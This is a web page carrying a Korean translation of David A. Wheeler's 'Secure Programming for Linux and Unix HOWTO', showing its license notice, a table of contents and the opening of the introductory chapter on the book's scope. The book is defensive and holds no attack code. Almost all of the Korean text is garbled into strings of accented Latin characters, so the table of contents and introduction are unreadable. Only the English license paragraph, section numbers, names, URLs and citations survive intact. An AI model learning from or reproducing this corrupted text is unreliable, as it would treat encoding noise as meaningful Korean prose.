Secure Programming for Linux and Unix HOWTO
ÃÑ ÆäÀÌÁö ¼ö : 3224

Àüü ÇÔ¼ö/¿ë¾î»çÀü
Facebook Joinc ±×·ì   Joinc QA »çÀÌÆ®



joinc´Â Firefox¿Í chrome¿¡¼­ Å×½ºÆ® Çß½À´Ï´Ù. IE¿¡¼­´Â Å×À̺íÀÌ ±úÁö°Å³ª À̹ÌÁö°¡ º¸ÀÌÁö ¾ÊÀ» ¼ö ÀÖ½À´Ï´Ù. ƯÈ÷ ±¸±Û DocsÀ̹ÌÁöÀÇ °æ¿ì ¿¢¹Úó¸®µÉ ¼ö ÀÖ½À´Ï´Ù.

Secure Programming for Linux and Unix HOWTO

Secure Programming for Linux and Unix HOWTO

David A. Wheeler

¼­Á¤·æ

¼ÛÀç¼÷

v2.92, 8 January 2002

ÀÌ Ã¥Àº ¸®´ª½º¿Í À¯´Ð½º ½Ã½ºÅÛ¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇϱâ À§ÇÑ ÀÏ·ÃÀÇ ¼³°è ¹× ±¸Çö ÁöħµéÀ» Á¦°øÇÑ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥µéÀº ¿ø°Ý µ¥ÀÌŸ ºä¾î·Î »ç¿ëµÇ´Â ¾ÖÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥, CGI ½ºÅ©¸³Æ®¸¦ Æ÷ÇÔÇÑ À¥ ¾ÖÇø®ÄÉÀ̼Ç, ³×Æ®¿öÅ© ¼­¹ö¿Í setuid/setgid ÇÁ·Î±×·¥µéÀ» Æ÷ÇÔÇÑ´Ù. C, C++, ÀÚ¹Ù, ÆÞ, PHP, ÆÄÀ̽ã, TCL °ú Ada95 ¿¡ ´ëÇÑ ¸íÈ®ÇÑ Áöħµµ Æ÷ÇԵȴÙ.

This book is Copyright (C) 1999-2002 David A. Wheeler. Permission is granted to copy, distribute and/or modify this book under the terms of the GNU Free Documentation License (GFDL), Version 1.1 or any later version published by the Free Software Foundation; with the invariant sections being ``About the Author'', with no Front-Cover Texts, and no Back-Cover texts. A copy of the license is included in the section entitled "GNU Free Documentation License". This book is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

고친 과정
고침 v2.92¼öÁ¤ÀÏ 2002-1-22고친이 JRSoh
2.86 ¿¡¼­ 2.92 ¹öÀüÀ¸·Î °»½ÅÇÏ¿´½À´Ï´Ù.

차례
1. ¼Ò°³
2. ¹è°æ
2.1. À¯´Ð½º, ¸®´ª½º, ¿ÀÇ ¼Ò½º/ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾îÀÇ ¿ª»ç
2.1.1. À¯´Ð½º
2.1.2. ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î Àç´Ü
2.1.3. ¸®´ª½º
2.1.4. ¿ÀÇ ¼Ò½º/ÀÚÀ¯ ¼ÒÇÁÆ®¿þ¾î
2.1.5. ¸®´ª½º¿Í À¯´Ð½º ºñ±³
2.2. º¸¾È ¿ø¸®
2.3. ÇÁ·Î±×·¡¸ÓµéÀº ¿Ö ºñº¸¾ÈÀûÀÎ Äڵ带 ÀÛ¼ºÇϴ°¡
2.4. ¿ÀÇ ¼Ò½º°¡ º¸¾È¿¡ À¯¸®ÇѰ¡?
2.5. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ŸÀÔ
2.6. ÆíÁýÁõÀº ¹Ì´öÀÌ´Ù
2.7. ÀÌ ¹®¼­¸¦ ÀÛ¼ºÇÑ ÀÌÀ¯´Â?
2.8. ¼³°è¿Í ±¸Çö ÁöħÀÇ Ãâó
2.9. º¸¾È Á¤º¸ÀÇ ´Ù¸¥ Ãâóµé
2.10. ¹®¼­ °üÇà
3. ¸®´ª½º ¹× À¯´Ð½º º¸¾È Ư¡µéÀÇ ¿ä¾à
3.1. ÇÁ·Î¼¼½º
3.1.1. ÇÁ·Î¼¼½º ¼Ó¼º
3.1.2. POSIX Capabilities
3.1.3. ÇÁ·Î¼¼½º »ý¼º°ú Á¶ÀÛ
3.2. ÆÄÀÏ
3.2.1. ÆÄÀϽýºÅÛ °´Ã¼ ¼Ó¼º
3.2.2. »ý¼º½Ã ÃʱⰪ
3.2.3. Á¢±Ù Á¦¾î ¼Ó¼º º¯°æ
3.2.4. Á¢±Ù Á¦¾î ¼Ó¼º »ç¿ë
3.2.5. ÆÄÀϽýºÅÛ °èÃþ±¸Á¶
3.3. System V ÇÁ·Î¼¼½º°£ Åë½Å
3.4. ¼ÒÄϰú ³×Æ®¿öÅ© ¿¬°á
3.5. ½Ã±×³Î
3.6. ÄõÅÍ¿Í Çѵµ
3.7. µ¿Àû ¸µÅ© ¶óÀ̺귯¸®
3.8. °¨»ç
3.9. PAM
3.10. À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ» À§ÇÑ Àü¹®ÀûÀÎ º¸¾È È®Àå
4. ¸ðµç ÀÔ·ÂÀ» È®ÀÎÇØ¶ó
4.1. ¸í·É Çà
4.2. ȯ°æ º¯¼ö
4.2.1. ¸î¸î ȯ°æ º¯¼ö´Â À§ÇèÇÏ´Ù
4.2.2. ȯ°æ º¯¼ö ÀúÀå Æ÷¸ËÀº À§ÇèÇÏ´Ù
4.2.3. ÇØ°á¹æ¾È - ÃßÃâ ¹× Á¦°Å
4.3. ÆÄÀÏ ±â¼úÀÚ
4.4. ÆÄÀÏ ÄÁÅÙÃ÷
4.5. À¥ ±â¹Ý ¾ÖÇø®ÄÉÀÌ¼Ç ÀÔ·Â (ƯÈ÷ CGI ½ºÅ©¸³Æ®)
4.6. ´Ù¸¥ ÀÔ·Â
4.7. Àΰ£ ¾ð¾î (·ÎÄÉÀÏ) ¼±ÅÃ
4.7.1. ·ÎÄÉÀÏ ¼±Åà ¹æ¹ý
4.7.2. ·ÎÄÉÀÏ Áö¿ø ¸ÞÄ«´ÏÁò
4.7.3. ÇÕ¹ýÀûÀÎ °ª
4.7.4. ÃÖÁ¾ °á°ú
4.8. ¹®ÀÚ ÀÎÄÚµù
4.8.1. ¹®ÀÚ ÀÎÄÚµù ¼Ò°³
4.8.2. UTF-8 ¼Ò°³
4.8.3. UTF-8 º¸¾È ÀïÁ¡
4.8.4. UTF-8 ÇÕ¹ýÀûÀÎ °ª
4.8.5. UTF-8 °ü·Ã ÀïÁ¡
4.9. ÀԷ¿¡¼­ ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¸¦ ¿¹¹æÇضó
4.10. ´Ù½Ã º¸³»Áú ¼öµµ ÀÖ´Â HTML/URIs ¸¦ ÇÊÅ͸µÇضó
4.10.1. ¸î¸î HTML µ¥ÀÌŸ¸¦ Á¦°Å ¹× ±ÝÁöÇØ¶ó
4.10.2. HTML µ¥ÀÌŸ ÀÎÄÚµù
4.10.3. HTML µ¥ÀÌŸ È®ÀÎ
4.10.4. ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ© (URIs/URLs) È®ÀÎ
4.10.5. ´Ù¸¥ HTML ű×
4.10.6. °ü·Ã ÀïÁ¡
4.11. ºñÁúÀǸ¦ ¼öÇàÇÏ´Â HTTP GET À» ±ÝÁöÇØ¶ó
4.12. ÇÕ´çÇÑ ÀÔ·Â ½Ã°£ ¹× ·Îµå ·¹º§À» Á¦ÇÑÇØ¶ó
5. ¹öÆÛ¿À¹öÇ÷οì ÇÇÇϱâ
5.1. C/C++ ¿¡¼­ÀÇ À§Çè
5.2. C/C++ ¿¡¼­ÀÇ ¶óÀ̺귯¸® ¼Ö·ç¼Ç
5.2.1. Ç¥ÁØ C ¶óÀ̺귯¸® ¼Ö·ç¼Ç
5.2.2. Á¤Àû ¹× µ¿Àû ÇÒ´ç ¹öÆÛ
5.2.3. strlcpy and strlcat
5.2.4. libmib
5.2.5. C++ std::string class
5.2.6. Libsafe
5.2.7. ´Ù¸¥ ¶óÀ̺귯¸®
5.3. C/C++ ¿¡¼­ÀÇ ÄÄÆÄÀÏ ¼Ö·ç¼Ç
5.4. ´Ù¸¥ ¾ð¾î
6. ÇÁ·Î±×·¥ ³»ºÎ ±¸Á¶È­ ¹× Á¢±Ù ¹æ¹ý
6.1. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥¿¡ ´ëÇØ ÈǸ¢ÇÑ ¼ÒÇÁÆ®¿þ¾î ¿£Áö´Ï¾î¸µ ¿ø¸®¸¦ µû¸£¶ó
6.2. ÀÎÅÍÆäÀ̽º¸¦ ¾ÈÀüÇÏ°Ô ÇØ¶ó
6.3. ±ÇÇÑÀ» ÃÖ¼ÒÈ­ÇØ¶ó
6.3.1. Çã°¡µÇ´Â ±ÇÇÑÀ» ÃÖ¼ÒÈ­ÇØ¶ó
6.3.2. ±ÇÇÑÀÌ »ç¿ëµÉ ¼ö ÀÖ´Â ½Ã°£À» ÃÖ¼ÒÈ­ÇØ¶ó
6.3.3. ±ÇÇÑÀÌ ÇÊ¿äÇÑ ½Ã°£À» ÃÖ¼ÒÈ­ÇØ¶ó
6.3.4. ±ÇÇÑÀÌ Çã°¡µÈ ¸ðµâÀ» ÃÖ¼ÒÈ­ÇØ¶ó
6.3.5. ±ÇÇÑÀ» Á¦ÇÑÇϱâ À§ÇØ FSUID »ç¿ëÀ» °í·ÁÇØ¶ó
6.3.6. »ç¿ëÇÒ ¼ö ÀÖ´Â ÆÄÀÏÀ» ÃÖ¼ÒÈ­Çϱâ À§ÇØ Chroot »ç¿ëÀ» °í·ÁÇØ¶ó
6.3.7. Á¢±ÙÇÒ ¼ö ÀÖ´Â µ¥ÀÌŸÀÇ ÃÖ¼ÒÈ­¸¦ °í·ÁÇØ¶ó
6.3.8. »ç¿ë°¡´ÉÇÑ ÀÚ¿øÀÇ ÃÖ¼ÒÈ­¸¦ °í·ÁÇØ¶ó
6.4. Setuid/Setgid ½ºÅ©¸³Æ® »ý¼ºÀ» ÇÇÇØ¶ó
6.5. ¾ÈÀüÇÏ°Ô ¼³Á¤ÇÏ°í ¾ÈÀüÇÑ µðÆúÆ®¸¦ »ç¿ëÇØ¶ó
6.6. ¾ÈÀüÇÏ°Ô ÃʱâÈ­°ªÀ» ÀûÀçÇØ¶ó
6.7. °íÀå ¾ÈÀü
6.8. °æÀï »óŸ¦ ÇÇÇØ¶ó
6.8.1. ½ÃÄö½Ì (ºñ¿øÀÚÀû) ¹®Á¦
6.8.1.1. ÆÄÀϽýºÅÛ¿¡¼­ÀÇ ¿øÀÚÀû µ¿ÀÛ
6.8.1.2. Àӽà ÆÄÀÏ
6.8.2. ·ÎÅ·
6.8.2.1. ·ÎÅ©·Î¼­ ÆÄÀÏ »ç¿ë
6.8.2.2. ·ÎÅ·¿¡ ´ëÇÑ ´Ù¸¥ Á¢±Ù ¹æ¹ý
6.9. ´ÜÁö ½Å·ÚÇÒ ¼ö Àִ ü³Î¸¸ ½Å·ÚÇØ¶ó
6.10. ½Å·ÚµÈ °æ·Î¸¦ ¼³Á¤Çضó
6.11. ³»ºÎÀÇ Àϰü¼ºÀ» °Ë»çÇÏ´Â Äڵ带 »ç¿ëÇØ¶ó
6.12. ½º½º·Î ÀÚ¿øÀ» Á¦ÇÑÇØ¶ó
6.13. ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¸¦ ¿¹¹æÇضó
6.13.1. ¹®Á¦ ¼³¸í
6.13.2. ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¿¡ ´ëÇÑ ÇØ°á¹æ¾È
6.13.2.1. Ưº° ¹®ÀÚ ½Äº°
6.13.2.2. ÇÊÅ͸µ
6.13.2.3. ÀÎÄÚµù
6.14. µ¥ÀÌŸ ŸÀÔ¿¡ ÁÖÀÇÇØ¶ó
7. ´Ù¸¥ ÀÚ¿øÀ» ÁÖÀDZí°Ô È£ÃâÇØ¶ó
7.1. ¾ÈÀüÇÑ ¶óÀ̺귯¸® ·çƾ¸¸ È£ÃâÇØ¶ó
7.2. È£ÃâÀ» ÇÕ´çÇÑ °ªÀ¸·Î Á¦ÇÑÇØ¶ó
7.3. ÇÁ·Î±×·¡¸Ó°¡ »ç¿ëÇϵµ·Ï ÀǵµµÈ ÀÎÅÍÆäÀ̽º¸¸ È£ÃâÇØ¶ó
7.4. ¸ð½¼ ½Ã½ºÅÛ È£Ãâ ¹ÝȯÀ» °Ë»çÇØ¶ó
7.5. vfork(2) »ç¿ëÀ» ÇÇÇØ¶ó
7.6. ³»ÀåµÈ ÄÁÅÙÆ®¸¦ °Ë»öÇÒ ¶§ À¥¹ö±×¿¡ ´ëÃ³ÇØ¶ó
7.7. ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸¸¦ ¼û°Ü¶ó
8. Á¤º¸¸¦ ½ÅÁßÇÏ°Ô µÇµ¹·ÁÁà¶ó
8.1. Çǵå¹éÀ» ÃÖ¼ÒÈ­ÇØ¶ó
8.2. ÁÖ¼®À» Æ÷ÇÔÇÏÁö ¸¶¶ó
8.3. ¿ÏÀüÇÑ/¹«¹ÝÀÀÀÇ Ãâ·ÂÀ» ´Ù·ï¶ó
8.4. µ¥ÀÌŸ Æ÷¸ËÆÃÀ» Á¦¾îÇØ¶ó (¹®ÀÚ¿­ Æ÷¸Ë)
8.5. Ãâ·Â¿¡¼­ ¹®ÀÚ ÀÎÄÚµùÀ» Á¦¾îÇØ¶ó
8.6. Æ÷ÇÔ/¼³Á¤ ÆÄÀÏ Á¢±ÙÀ» ¿¹¹æÇضó
9. ¾ð¾î¿¡ ƯÁ¤ÀûÀÎ ÀïÁ¡
9.1. C/C++
9.2. ÆÞ
9.3. ÆÄÀ̽ã
9.4. ½© ½ºÅ©¸³ÆÃ ¾ð¾î (sh °ú csh Deritivatives)
9.5. Ada
9.6. ÀÚ¹Ù
9.7. TCL
9.8. PHP
10. Ưº° ÁÖÁ¦
10.1. ÆÐ½º¿öµå
10.2. À¥¿¡¼­ ÀÎÁõ
10.2.1. À¥¿¡¼­ ÀÎÁõ: ·Î±×ÀÎ
10.2.2. À¥¿¡¼­ ÀÎÁõ: ÀÏ·ÃÀÇ Çൿ
10.2.3. À¥¿¡¼­ ÀÎÁõ: ·Î±×¾Æ¿ô
10.3. ³­¼ö
10.4. »ç¿ëÀÚ°¡ ±â¾ïÇÏ´Â ºñ¹Ð (ÆÐ½º¿öµå ¹× Ű) À» ƯÈ÷ º¸È£Çضó
10.5. ¾Ïȣȭ ¾Ë°í¸®µë ¹× ÇÁ·ÎÅäÄÝ
10.5.1. ¾ÏÈ£ÇÐÀû ÇÁ·ÎÅäÄÝ
10.5.2. ´ëĪŰ ¾Ïȣȭ ¾Ë°í¸®µë
10.5.3. °ø°³Å° ¾Ë°í¸®µë
10.5.4. ¾ÏÈ£ÇÐÀû ÇØ½Ã ¾Ë°í¸®µë
10.5.5. ¹«°á¼º °Ë»ç
10.5.6. ´Ù¸¥ ¾ÏÈ£ÇÐÀû ÀïÁ¡
10.6. PAM »ç¿ë
10.7. µµ±¸
10.8. Windows CE
10.9. °¨»ç ·¹ÄÚµå ÀÛ¼º
10.10. ±âŸ
11. °á·Ð
12. ¹®Çå ¸ñ·Ï
A. Ã¥ ¹ßÇ¥ ±â·Ï
B. °¨»çÀÇ ±Û
C. ¹®¼­ÀÇ ¶óÀ̼¾½º
D. GNU Free Documentation License
E. ½ÂÀÎ
F. ÀúÀÚ
그림 목록
1-1. Abstract View of a Program

1장. ¼Ò°³

 

A wise man attacks the city of the mighty and pulls down the stronghold in which they trust.

 Proverbs 21:22 (NIV)

ÀÌ Ã¥Àº ¸®´ª½º¿Í À¯´Ð½º ½Ã½ºÅÛ¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇϱâ À§ÇÑ ÀÏ·ÃÀÇ ¼³°è ¹× ±¸Çö ÁöħµéÀ» ±â¼úÇÑ´Ù. ÀÌ Ã¥ÀÇ ¸ñÀûÀ» À§ÇØ º¸¾ÈÀûÀÎ (secure) ÇÁ·Î±×·¥À» º¸¾È °æ°è¿¡ Á¸ÀçÇÏ¿© ÇÁ·Î±×·¥°ú µ¿ÀÏÇÑ ±ÇÇÑÀ» °®Áö ¾Ê´Â Ãâó·ÎºÎÅÍ ÀÔ·ÂÀ» ¹Þ¾ÆµéÀÌ´Â ÇÁ·Î±×·¥À¸·Î Á¤ÀÇÇÒ ¼ö Àִµ¥ À̵é·Î´Â ¿ø°Ý ºä¾î·Î »ç¿ëµÇ´Â ¾ÖÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥, CGI ½ºÅ©¸³Æ®¸¦ Æ÷ÇÔÇÑ À¥ ¾ÖÇø®ÄÉÀ̼Ç, ³×Æ®¿öÅ© ¼­¹ö¿Í setuid/setgid ÇÁ·Î±×·¥µéÀÌ ÀÖ´Ù. ÀÌ Ã¥¿¡¼­ ³íÀǵǴ ¿ø¸®µéÁß ´Ù¼ö°¡ Àû¿ëµÊ¿¡µµ ºÒ±¸ÇÏ°í ¿î¿µ üÁ¦ÀÇ Ä¿³Î ÀÚü¸¦ ¼öÁ¤ÇÏ´Â °ÍÀ» ´Ù·çÁö´Â ¾Ê´Â´Ù. ÀÌ ÁöħµéÀº ÀúÀÚ°¡ Ãß°¡ÇÑ Àǰ߰ú ÇÔ²² º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥µéÀ» ¸¸µå´Â ¹æ¹ý¿¡ ´ëÇÑ ´Ù¾çÇÑ Ãâóµé·ÎºÎÅÍ ¹è¿î ±³ÈƵéÀ» Á¶»çÇÔÀ¸·Î½á °³¹ßµÇ¾úÀ¸¸ç ÀÏ·ÃÀÇ ´õ¿í Ä¿´Ù¶õ ¿ø¸®µé·Î À籸¼ºµÇ¾ú´Ù. ÀÌ Ã¥Àº C, C++, ÀÚ¹Ù, ÆÞ, PHP, ÆÄÀ̽ã, TCL °ú Ada95 ¸¦ Æ÷ÇÔÇÑ ¸¹Àº ¾ð¾îµé¿¡ ´ëÇÑ ±¸Ã¼ÀûÀÎ ¾È³»¸¦ Æ÷ÇÔÇÑ´Ù.

ÀÌ Ã¥Àº º¸Áõ Á¶Ä¡, ¼ÒÇÁÆ®¿þ¾î ¿£Áö´Ï¾î¸µ ÇÁ·Î¼¼½º¿Í ǰÁú º¸Áõ ¹æ¹ýÀ» ´Ù·çÁö´Â ¾Ê´Âµ¥ ÀÌ´Â Áß¿äÇÏÁö¸¸ ´Ù¸¥ °÷¿¡ ±¤¹üÀ§ÇÏ°Ô ³íÀǵǾî Àֱ⠶§¹®ÀÌ´Ù. ±×·¯ÇÑ Á¶Ä¡µé·Î´Â °Ë»ç, ÀÚ¼¼ÇÑ °ËÅä (peer review), ¼³Á¤ °ü¸®¿Í Çй®ÀûÀÎ (formal) ¹æ¹ýµéÀÌ Àִµ¥ º¸¾È ¹®Á¦¿¡ ´ëÇÑ ÀÏ·ÃÀÇ ¹ßÀüÇϰí ÀÖ´Â º¸Áõ Á¶Ä¡µéÀ» ¸íÈ®ÇÏ°Ô ºÐ°£ÇÏ´Â ¹®¼­µé·Î´Â Common Criteria [CC 1999] ¿Í System Security Engineering Capability Maturity Model [SSE-CMM 1999] µéÀÌ ÀÖ´Ù. ÀÏ·ÃÀÇ ´õ¿í ÀϹÝÀûÀÎ ¼ÒÇÁÆ®¿þ¾î ¿£Áö´Ï¾î¸µ ¹æ¹ý ¶Ç´Â ÇÁ·Î¼¼½ºµéÀº Software Engineering Institute's Capability Maturity Model for Software (SE-CMM) [Paulk 1993a, 1993b] °ú ISO 12207 [ISO 12207] °ú °°Àº ¹®¼­µé³»¿¡ Á¤ÀǵǾî ÀÖ´Ù. ǰÁú ½Ã½ºÅÛ¿¡ ´ëÇÑ ÀϹÝÀûÀÎ ±¹Á¦Àû Ç¥ÁØÀº ISO 9000 °ú ISO 9001 [ISO 9000, 9001] ³»¿¡ Á¤ÀǵǾî ÀÖ´Ù.

ÀÌ Ã¥Àº ÁÖ¾îÁø ȯ°æ¿¡¼­ ½Ã½ºÅÛ ¶Ç´Â ³×Æ®¿öÅ©¸¦ º¸¾ÈÀûÀ¸·Î ¼³Á¤ÇÏ´Â ¹æ¹ýÀ» ³íÀÇÇÏÁö´Â ¾Ê´Â´Ù. À̰ÍÀÌ ÁÖ¾îÁø ÇÁ·Î±×·¥À» º¸¾ÈÀûÀ¸·Î »ç¿ëÇϱâ À§Çؼ­´Â ºÐ¸íÈ÷ ÇÊ¿äÇÏÁö¸¸ ¸Å¿ì ¸¹Àº ´Ù¸¥ ¹®¼­µéÀÌ º¸¾ÈÀûÀÎ ¼³Á¤À» ³íÀÇÇϰí ÀÖ´Ù. À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ» º¸¾ÈÀûÀ¸·Î ¼³Á¤ÇÏ´Â ¹æ¹ý¿¡ ´ëÇÑ ¿ì¼öÇÑ ÀÏ¹Ý Ã¥À¸·Î´Â Garfinkel [1996] ÀÌ ÀÖÀ¸¸ç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ» ¾ÈÀüÇÏ°Ô Çϱâ À§ÇÑ ´Ù¸¥ Ã¥À¸·Î´Â Anonymous [1998] °¡ ÀÖ´Ù. ¶ÇÇÑ http://www.unixtools.com/security.html ¿Í °°Àº À¥ »çÀÌÆ®¿¡¼­ À¯´Ð½º °è¿­ ½Ã½ºÅÛ ¼³Á¤¿¡ °üÇÑ Á¤º¸¸¦ ãÀ» ¼ö ÀÖ´Ù. ¸®´ª½º ½Ã½ºÅÛÀÇ º¸¾ÈÀû ¼³Á¤¿¡ ´ëÇÑ Á¤º¸´Â Fenzi [1996], Seifried [1999], Wreski [1998], Swan [2001] °ú Anonymous [1999] ¸¦ Æ÷ÇÔÇÑ ±¤¹üÀ§ÇÑ ¹®¼­µé¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. Geodsoft [2001] Àº OpenBSD ¸¦ °­È­ÇÏ´Â ¹æ¹ýÀ» ±â¼úÇϰí Àִµ¥ ¸¹Àº Á¦¾ÈµéÀº ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ ´ëÇØ À¯¿ëÇÏ´Ù. ¸®´ª½º ½Ã½ºÅÛ (°á±¹ ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛ) ÀÇ °æ¿ì ¸®´ª½º ¿î¿µÃ¼Á¦¸¦ °­È­ ¶Ç´Â ´Ü·Ã½ÃŰ·Á°í ÇÏ´Â Bastille °­È­ ½Ã½ºÅÛÀÇ °ËÅ並 ¿øÇÒ ¼öµµ Àִµ¥ ÀÌ¿¡ °üÇØ¼­´Â http://www.bastille-linux.org ¿¡¼­ ´õ¿í ¸¹Àº °ÍÀ» ¹è¿ï ¼ö ÀÖ´Ù. ÀÌ´Â GPL (General Public License) ¶óÀ̼¾½º·Î ¹«·á·Î ¾òÀ» ¼ö ÀÖ´Ù. À©µµ¿ì 2000 ÀÇ °æ¿ì´Â Cox [2000] À» »ìÆìº¼ ¼ö ÀÖ´Ù.

ÄÄÇ»Å͸¦ ¼³Á¤ÇÏ´Â °ÍÀº ¹ÙÀÌ·¯½º¿¡ ¾î¶»°Ô ´ëóÇϴ°¡, ¾î¶² Á¾·ùÀÇ Á¶Á÷»óÀÇ º¸¾È Á¤Ã¥ÀÌ ÇÊ¿äÇѰ¡, »ç¾÷ÀÇ ¿¬¼Ó¼º °èȹ µîÀ» Æ÷ÇÔÇÏ´Â ´õ¿í Å« ¿µ¿ªÀÎ º¸¾È °ü¸®ÀÇ ´ÜÁö ÀϺκÐÀÌ´Ù. º¸¾È °ü¸®¸¦ À§ÇØ ±¹Á¦Àû Ç¥ÁØ ¹× ±æÀâÀÌ µéÀÌ ÀÖ´Ù. ISO 13335 ´Â º¸¾È °ü¸®¿¡ ´ëÇÑ ±æÀâÀÌ ¿ªÇÒÀ» ÇÏ´Â ´Ù¼¸ ºÎºÐÀ¸·Î ±¸¼ºµÈ ±â¼úÀû º¸°í¼­ÀÌ´Ù [ISO 13335]. ¶ÇÇÑ ISO/IEC 17799:2000 Àº ½ÇÁ¦ °ü·Ê¸¦ Á¤ÀÇÇϰí ÀÖ´Ù [ISO 17799]; ±× °øÇ¥µÈ ¸ñÀûÀº ``Á¶Á÷³»¿¡¼­ º¸¾È ¹ßÀÇ, ±¸Çö ¶Ç´Â À¯ÁöÇϴ åÀÓÀ» Áö´Â »ç¶÷µéÀÌ »ç¿ëÇϵµ·Ï Á¤º¸ º¸¾È °ü¸®¸¦ À§ÇÑ ±Ç°í¸¦ ÁÖ´Â °ÍÀÌ´Ù" (´ë·«ÀûÀÎ Àǹ̿¡¼­ ÀÌ´Â ±â¼ú ¹®¼­´Â ¾Æ´Ï´Ù). ISO/IEC 17799:2000 ÀÌ ¸Å¿ì ³íÀÇÀÇ ¿©Áö°¡ ÀÖÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ ÀÖ´Ù; º§±â¿¡, ij³ª´Ù, ÇÁ¶û½º, µ¶ÀÏ, ÀÌÅ»¸®¾Æ, ÀϺ»°ú ¹Ì±¹Àº ÀÌÀÇ Ã¤Åÿ¡ ¹Ý´ë ÅõÇ¥¸¦ Çß´Ù. ÀÌ ³íÀï¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â NIST ÀÇ ISO/IEC 17799:2000 FAQ ¸¦ º¸¶ó. http://www.caspr.org ÀÇ Commonly Accepted Security Practices & Recommendations (CASPR) ÇÁ·ÎÁ§Æ®´Â Á¤º¸ º¸¾È Áö½Ä¿¡¼­ ¸ðµç »ç¶÷ÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Â ÀÏ·ÃÀÇ ³í¹®À» ¸¸µé·Á°í Çϰí ÀÖ´Ù (GNU FDL ¶óÀ̼¾½ºÇÏ¿¡¼­ ÇÔÀ¸·Î½á ÃßÈÄ ÆÄ»ý ¹®¼­µµ ¸ðµç »ç¶÷ÀÌ °è¼Ó »ç¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù).

ÀÌ Ã¥Àº µ¶ÀÚ°¡ ÀϹÝÀûÀÎ ÄÄÇ»ÅÍ º¸¾È ¹®Á¦, À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ ÀϹÝÀûÀÎ º¸¾È ¸ðµ¨, ³×Æ®¿öÅ· (ƯÈ÷ TCP/IP ±â¹Ý ³×Æ®¿öÅ©) °ú C ÇÁ·Î±×·¡¹Ö ¾ð¾î¸¦ ÀÌÇØÇϰí ÀÖ´Ù°í °¡Á¤ÇÏ¸ç º¸¾È ¸ñÀûÀÇ ¸®´ª½º¿Í À¯´Ð½º ÇÁ·Î±×·¡¹Ö ¸ðµ¨¿¡ ´ëÇØ »ó´çÇÑ Á¤º¸¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù. TCP/IP ±â¹Ý ³×Æ®¿öÅ© ¹× ÇÁ·ÎÅäÄÝÀÌ ¾î¶»°Ô ÀÛµ¿ÇÏ´ÂÁö¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ (º¸¾È ÇÁ·ÎÅäÄÝÀ» Æ÷ÇÔÇØ) Á¤º¸°¡ ÇÊ¿äÇÏ´Ù¸é [Murhammer 1998] °ú °°Àº TCP/IP ¿¡ ´ëÇÑ ÀϹÝÀûÀÎ ¿¬±¸¸¦ Âü°íÇØ¶ó.

ÀÌ Ã¥Àº ¸®´ª½º ¹× À¯´Ð½ºÀÇ ´Ù¾çÇÑ º¯ÇüµéÀ» Æ÷ÇÔÇÑ ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛµéÀ» ´Ù·çÁö¸¸ ƯÈ÷ ¸®´ª½º¿¡ ÁßÁ¡À» µÎ¾î ¸íÈ®ÇÏ°Ô ÀÌ¿¡ ´ëÇÑ ¼¼ºÎ »çÇ×µéÀ» Á¦°øÇÑ´Ù. À©µµ¿ì CE ¿¡ ´ëÇØ ¸íÈ®ÇÏ°Ô ¼³¸íÇÏ´Â ¾à°£ÀÇ ÀÚ·áµéµµ ÀÖÁö¸¸ »ç½Ç À̵éÁß ¸¹Àº °ÍµéÀº ƯÁ¤ ¿î¿µ üÁ¦¿¡ ÇÑÁ¤µÇ¾î ÀÖÁö ¾Ê´Ù. ÀÌ Ã¥¿¡ Æ÷ÇԵǾî ÀÖÁö ¾ÊÀº °ü·Ã Á¤º¸¸¦ ¾Ë°í ÀÖ´Ù¸é ÀúÀÚ¿¡°Ô ¾Ë·ÁÁֱ⠹ٶõ´Ù.

ÀÌ Ã¥ÀÇ ¿øº»Àº http://www.dwheeler.com/secure-programs ¿¡¼­ ãÀ» ¼ö ÀÖÀ¸¸ç http://www.linuxdoc.org ÀÇ ¸®´ª½º ¹®¼­È­ ÇÁ·ÎÁ§Æ® (Linux Documentation Project, LDP) ÀÇ ÇÑ ºÎºÐÀ¸·Î ¸î¸îÀÇ ´Ù¸¥ »çÀÌÆ®¿¡¼­µµ ¶ÇÇÑ ¹Ì·¯¸µµÇ°í ÀÖ´Ù. LDP º¹»çº» ¹×/¶Ç´Â °¢ ¹èÆ÷ º¹»çº»À» Æ÷ÇÔÇÑ ÀÌ·¯ÇÑ º¹»çº»µéÀÌ ¿øº»º¸´Ù ¿À·¡µÈ °ÍÀÏ ¼öµµ ÀÖÀ½À» ÁÖ¸ñÇϱ⠹ٶõ´Ù. ÀúÀÚ´Â ÀÌ Ã¥¿¡ ´ëÇÑ ÀǰßÀ» µè°í ½ÍÁö¸¸ ¹Ýµå½Ã 